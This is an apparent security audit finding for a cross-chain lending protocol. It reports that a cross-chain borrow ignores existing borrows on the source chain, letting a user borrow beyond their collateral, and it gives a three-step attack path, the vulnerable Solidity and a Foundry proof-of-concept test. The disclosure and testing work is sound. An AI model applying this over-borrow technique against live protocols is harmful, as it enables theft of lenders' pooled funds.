Bright Cyan Cyborg

High

# The user can borrow more than their provided collateral

### Summary

When a cross-chain borrow from chain A to chain B is made, only the existing amount of borrowed tokens is checked on chain B. It is not verified whether the user has an active borrow position on chain A. This allows the user to borrow more tokens than they actually should. A user can first borrow on chain A using a normal same-chain borrow, and then borrow again using a cross-chain borrow, receiving a total amount of borrowed tokens that exceeds their collateral.

### Root Cause

When a user makes a cross-chain borrow, their collateral amount is calculated using the `getHypotheticalAccountLiquidityCollateral` function, and this collateral amount is sent to the destination chain.

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L139

```solidity
        (, uint256 collateral) =
            lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, LToken(_lToken), 0, 0);

        // Send message to destination chain with verified sender
        // borrowIndex of 0 initially - will be set correctly on dest chain
        _send(
            _destEid,
            _amount,
            0, // Initial borrowIndex, will be set on dest chain
            collateral, // collateral amount
            msg.sender,
            destLToken,
            address(0), // liquidator
            _borrowToken,
            ContractType.BorrowCrossChain
        );
```

On the destination chain, the existing borrow amount is calculated again using the same `getHypotheticalAccountLiquidityCollateral` function:

```solidity
        // Get existing borrow amount
        (uint256 totalBorrowed,) = lendStorage.getHypotheticalAccountLiquidityCollateral(
            payload.sender, LToken(payable(payload.destlToken)), 0, payload.amount
        );
```

If `payload.collateral >= totalBorrowed`, the user is allowed to borrow the requested amount. However, during the entire process of checking whether the user can borrow the desired amount, there is no validation to determine whether the user has an active borrow position on the source chain.

The user can first borrow on the source chain, and then perform a cross-chain borrow, effectively receiving more borrowed tokens than their collateral should allow.

### Internal Pre-conditions

N/A

### External Pre-conditions

There should be enough liquidity on both chains.

### Attack Path

1. The user supplies their collateral tokens on chain A
2. The user borrows on the same chain A
3. The user performs a cross-chain borrow on chain A, receiving tokens on chain B

### Impact

The user effectively receive more tokens than their collateral should allow.

### PoC

```solidity   
 // forge test -vvv --match-test test_crossBorrowH1
    //@audit-issue PoC H1
    function test_crossBorrowH1() public {
        vm.deal(address(routerA), 1 ether);  // Fund Router A with ETH for LayerZero fees

        uint256 amountToSupply = 100_000e18;
        uint256 amountToBorrowChainB = 70_000e18;

        // First supply tokens as collateral on Chain A
        (address tokenA, address lTokenA) = _supplyA(amountToSupply);
        // Then supply tokens as borrowable on Chain B
        _supplyB(amountToSupply * 2);


        uint256 boundedBorrow = bound(amountToBorrowChainB, 0.1e18, 85_000e18); // 75%
        uint256 maxBorrowChainA = (amountToSupply * 60) / 100; // 60%

        // Verify token mappings
        address destToken = lendStorageA.underlyingToDestUnderlying(tokenA, CHAIN_B_ID);

        // Get initial balances
        uint256 initialTokenBalanceA = IERC20(tokenA).balanceOf(deployer);
        uint256 initialTokenBalanceB = IERC20(destToken).balanceOf(deployer);

        vm.startPrank(deployer);

        // Expect BorrowSuccess event
        vm.expectEmit(true, true, true, true);
        emit BorrowSuccess(deployer, lTokenA, maxBorrowChainA);

        coreRouterA.borrow(maxBorrowChainA, tokenA);
        assertEq(
            IERC20(tokenA).balanceOf(deployer) - initialTokenBalanceA,
            maxBorrowChainA,
            "Should receive correct amount of borrowed tokens"
        );


        // Expect BorrowSuccess event
        vm.expectEmit(true, true, true, true);
        emit BorrowSuccess(deployer, tokenA, boundedBorrow);

        // Call borrowCrossChain with token address
        routerA.borrowCrossChain(boundedBorrow, tokenA, CHAIN_B_ID);

        // Verify the borrow was successful
        assertEq(
            IERC20(destToken).balanceOf(deployer) - initialTokenBalanceB,
            boundedBorrow,
            "Should receive correct amount of borrowed tokens"
        );

        vm.stopPrank();

        console.log("Borrowed token on chain A:");
        console.log(IERC20(tokenA).balanceOf(deployer) - initialTokenBalanceA);

        console.log("Borrowed token on chain B:");
        console.log(IERC20(destToken).balanceOf(deployer) - initialTokenBalanceB);
    }
```

### Mitigation

When a cross-chain borrow is made, consider whether the user has an active borrow position on the source chain.